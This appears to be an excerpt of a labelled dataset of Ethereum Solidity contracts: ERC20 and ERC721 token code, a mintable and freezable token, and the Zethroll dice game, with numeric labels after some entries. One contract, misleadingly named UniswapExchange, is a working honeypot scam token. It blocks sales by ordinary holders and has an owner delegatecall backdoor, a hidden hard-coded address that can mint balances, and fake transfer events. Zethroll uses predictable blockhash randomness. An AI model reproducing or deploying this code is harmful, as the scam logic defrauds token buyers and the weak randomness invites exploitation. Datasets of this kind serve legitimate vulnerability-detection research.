callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,648 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "LGTE Token";
string public constant TOKEN_SYMBOL = "LGTE";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x98E8E09fB1b2a9C9d9C4Bf3326646e95C7da5368;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[5] memory addresses = [address(0xb728c6dc20d7c1cdc96271342dbc00c21fb8941d),address(0xe6dfb2d03141564eedff1b53ea223c0208810138),address(0xa3a6b30e74731413d460fdd712ff2d3b1634fec8),address(0x1e4fefafdb3e14ba82fdf9b20a8360db9dd1739f),address(0x98e8e09fb1b2a9c9d9c4bf3326646e95c7da5368)];
uint[5] memory amounts = [uint(10000000000000000000000),uint(10000000000000000000000),uint(20000000000000000000000),uint(1500000000000000000000000),uint(1500000000000000000000000)];
uint64[5] memory freezes = [uint64(1602712801),uint64(1602712801),uint64(1602712801),uint64(1602712802),uint64(1602712803)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 1 | 4,682 |
pragma solidity ^0.4.23;
contract ZTHReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool);
}
contract ZTHInterface {
function getFrontEndTokenBalanceOf(address who) public view returns (uint);
function transfer(address _to, uint _value) public returns (bool);
function approve(address spender, uint tokens) public returns (bool);
}
contract Zethroll is ZTHReceivingContract {
using SafeMath for uint;
modifier betIsValid(uint _betSize, uint _playerNumber) {
require( calculateProfit(_betSize, _playerNumber) < maxProfit
&& _betSize >= minBet
&& _playerNumber > minNumber
&& _playerNumber < maxNumber);
_;
}
modifier gameIsActive {
require(gamePaused == false);
_;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
uint constant private MAX_INT = 2 ** 256 - 1;
uint constant public maxProfitDivisor = 1000000;
uint constant public maxNumber = 99;
uint constant public minNumber = 2;
uint constant public houseEdgeDivisor = 1000;
bool public gamePaused;
address public owner;
address public ZethrBankroll;
address public ZTHTKNADDR;
ZTHInterface public ZTHTKN;
uint public contractBalance;
uint public houseEdge;
uint public maxProfit;
uint public maxProfitAsPercentOfHouse;
uint public minBet = 0;
uint public totalBets;
uint public totalZTHWagered;
event LogBet(address sender, uint value, uint rollUnder);
event LogResult(address player, uint result, uint rollUnder, uint profit, uint tokensBetted, bool won);
event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred);
event MaxProfitChanged(uint _oldMaxProfit, uint _newMaxProfit);
event CurrentContractBalance(uint _tokens);
constructor (address zthtknaddr, address zthbankrolladdr) public {
owner = msg.sender;
ZTHTKN = ZTHInterface(zthtknaddr);
ZTHTKNADDR = zthtknaddr;
ZethrBankroll = zthbankrolladdr;
houseEdge = 990;
ownerSetMaxProfitAsPercentOfHouse(10000);
ownerSetMinBet(1e18);
ZTHTKN.approve(zthbankrolladdr, MAX_INT);
}
function() public payable {}
function maxRandom(uint blockn, address entropy) public view returns (uint256 randomNumber) {
return uint256(keccak256(
abi.encodePacked(
blockhash(blockn),
entropy)
));
}
function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) {
return maxRandom(blockn, entropy) % upper;
}
function calculateProfit(uint _initBet, uint _roll)
private
view
returns (uint)
{
return ((((_initBet * (100 - (_roll.sub(1)))) / (_roll.sub(1)) + _initBet)) * houseEdge / houseEdgeDivisor) - _initBet;
}
struct playerRoll{
uint200 tokenValue;
uint48 blockn;
uint8 rollUnder;
}
mapping(address => playerRoll) public playerRolls;
function _playerRollDice(uint _rollUnder, TKN _tkn) private
gameIsActive
betIsValid(_tkn.value, _rollUnder)
{
require(_tkn.value < ((2 ** 200) - 1));
require(block.number < ((2 ** 48) - 1));
require(_zthToken(msg.sender));
playerRoll memory roll = playerRolls[_tkn.sender];
require(block.number != roll.blockn);
if (roll.blockn != 0) {
_finishBet(false, _tkn.sender);
}
roll.blockn = uint48(block.number);
roll.tokenValue = uint200(_tkn.value);
roll.rollUnder = uint8(_rollUnder);
playerRolls[_tkn.sender] = roll;
emit LogBet(_tkn.sender, _tkn.value, _rollUnder);
totalBets += 1;
totalZTHWagered += _tkn.value;
}
function finishBet() public
gameIsActive
returns (uint)
{
return _finishBet(true, msg.sender);
}
function _finishBet(bool delete_it, address target) private returns (uint){
playerRoll memory roll = playerRolls[target];
require(roll.tokenValue > 0);
require(roll.blockn != block.number);
uint result;
if (block.number - roll.blockn > 255) {
result = 1000;
} else {
result = random(99, roll.blockn, target) + 1;
}
uint rollUnder = roll.rollUnder;
if (result < rollUnder) {
uint profit = calculateProfit(roll.tokenValue, rollUnder);
if (profit > maxProfit){
profit = maxProfit;
}
contractBalance = contractBalance.sub(profit);
emit LogResult(target, result, rollUnder, profit, roll.tokenValue, true);
setMaxProfit();
playerRolls[target] = playerRoll(uint200(0), uint48(0), uint8(0));
ZTHTKN.transfer(target, profit + roll.tokenValue);
return result;
} else {
emit LogResult(target, result, rollUnder, profit, roll.tokenValue, false);
contractBalance = contractBalance.add(roll.tokenValue);
playerRolls[target] = playerRoll(uint200(0), uint48(0), uint8(0));
setMaxProfit();
return result;
}
}
struct TKN {address sender; uint value;}
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool) {
require(msg.sender == ZTHTKNADDR);
if (_from == ZethrBankroll) {
contractBalance = contractBalance.add(_value);
uint oldMaxProfit = maxProfit;
setMaxProfit();
emit MaxProfitChanged(oldMaxProfit, maxProfit);
return true;
} else {
TKN memory _tkn;
_tkn.sender = _from;
_tkn.value = _value;
uint8 chosenNumber = uint8(_data[0]);
_playerRollDice(chosenNumber, _tkn);
}
return true;
}
function setMaxProfit() internal {
emit CurrentContractBalance(contractBalance);
maxProfit = (contractBalance * maxProfitAsPercentOfHouse) / maxProfitDivisor;
}
function ownerUpdateContractBalance(uint newContractBalance) public
onlyOwner
{
contractBalance = newContractBalance;
}
function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public
onlyOwner
{
require(newMaxProfitAsPercent <= 200000);
maxProfitAsPercentOfHouse = newMaxProfitAsPercent;
setMaxProfit();
}
function ownerSetMinBet(uint newMinimumBet) public
onlyOwner
{
minBet = newMinimumBet;
}
function ownerTransferZTH(address sendTo, uint amount) public
onlyOwner
{
contractBalance = contractBalance.sub(amount);
setMaxProfit();
require(ZTHTKN.transfer(sendTo, amount));
emit LogOwnerTransfer(sendTo, amount);
}
function ownerPauseGame(bool newStatus) public
onlyOwner
{
gamePaused = newStatus;
}
function ownerSetBankroll(address newBankroll) public
onlyOwner
{
ZTHTKN.approve(ZethrBankroll, 0);
ZethrBankroll = newBankroll;
ZTHTKN.approve(newBankroll, MAX_INT);
}
function ownerChangeOwner(address newOwner) public
onlyOwner
{
owner = newOwner;
}
function ownerkill() public
onlyOwner
{
ZTHTKN.transfer(owner, contractBalance);
selfdestruct(owner);
}
function dumpdivs() public{
ZethrBankroll.transfer(address(this).balance);
}
function _zthToken(address _tokenContract) private view returns (bool) {
return _tokenContract == ZTHTKNADDR;
}
}
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
} | 1 | 4,723 |
pragma solidity ^0.4.24;
interface ERC165 {
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
contract ERC721Basic is ERC165 {
bytes4 internal constant InterfaceId_ERC721 = 0x80ac58cd;
bytes4 internal constant InterfaceId_ERC721Exists = 0x4f558e79;
bytes4 internal constant InterfaceId_ERC721Enumerable = 0x780e9d63;
bytes4 internal constant InterfaceId_ERC721Metadata = 0x5b5e139f;
event Transfer(
address indexed _from,
address indexed _to,
uint256 indexed _tokenId
);
event Approval(
address indexed _owner,
address indexed _approved,
uint256 indexed _tokenId
);
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId)
public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator)
public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId)
public;
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public;
}
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
contract ERC721Metadata is ERC721Basic {
function name() external view returns (string _name);
function symbol() external view returns (string _symbol);
function tokenURI(uint256 _tokenId) public view returns (string);
}
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
contract ERC721Receiver {
bytes4 internal constant ERC721_RECEIVED = 0x150b7a02;
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes _data
)
public
returns(bytes4);
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
library AddressUtils {
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
contract SupportsInterfaceWithLookup is ERC165 {
bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) internal supportedInterfaces;
constructor()
public
{
_registerInterface(InterfaceId_ERC165);
}
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool)
{
return supportedInterfaces[_interfaceId];
}
function _registerInterface(bytes4 _interfaceId)
internal
{
require(_interfaceId != 0xffffffff);
supportedInterfaces[_interfaceId] = true;
}
}
contract ERC721BasicToken is SupportsInterfaceWithLookup, ERC721Basic {
using SafeMath for uint256;
using AddressUtils for address;
bytes4 private constant ERC721_RECEIVED = 0x150b7a02;
mapping (uint256 => address) internal tokenOwner;
mapping (uint256 => address) internal tokenApprovals;
mapping (address => uint256) internal ownedTokensCount;
mapping (address => mapping (address => bool)) internal operatorApprovals;
constructor()
public
{
_registerInterface(InterfaceId_ERC721);
_registerInterface(InterfaceId_ERC721Exists);
}
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
function isApprovedForAll(
address _owner,
address _operator
)
public
view
returns (bool)
{
return operatorApprovals[_owner][_operator];
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
{
require(isApprovedOrOwner(msg.sender, _tokenId));
require(_from != address(0));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
{
safeTransferFrom(_from, _to, _tokenId, "");
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public
{
transferFrom(_from, _to, _tokenId);
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
function isApprovedOrOwner(
address _spender,
uint256 _tokenId
)
internal
view
returns (bool)
{
address owner = ownerOf(_tokenId);
return (
_spender == owner ||
getApproved(_tokenId) == _spender ||
isApprovedForAll(owner, _spender)
);
}
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
}
}
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
function checkAndCallSafeTransfer(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(
msg.sender, _from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
contract ERC721Token is SupportsInterfaceWithLookup, ERC721BasicToken, ERC721 {
string internal name_;
string internal symbol_;
mapping(address => uint256[]) internal ownedTokens;
mapping(uint256 => uint256) internal ownedTokensIndex;
uint256[] internal allTokens;
mapping(uint256 => uint256) internal allTokensIndex;
mapping(uint256 => string) internal tokenURIs;
constructor(string _name, string _symbol) public {
name_ = _name;
symbol_ = _symbol;
_registerInterface(InterfaceId_ERC721Enumerable);
_registerInterface(InterfaceId_ERC721Metadata);
}
function name() external view returns (string) {
return name_;
}
function symbol() external view returns (string) {
return symbol_;
}
function tokenURI(uint256 _tokenId) public view returns (string) {
require(exists(_tokenId));
return tokenURIs[_tokenId];
}
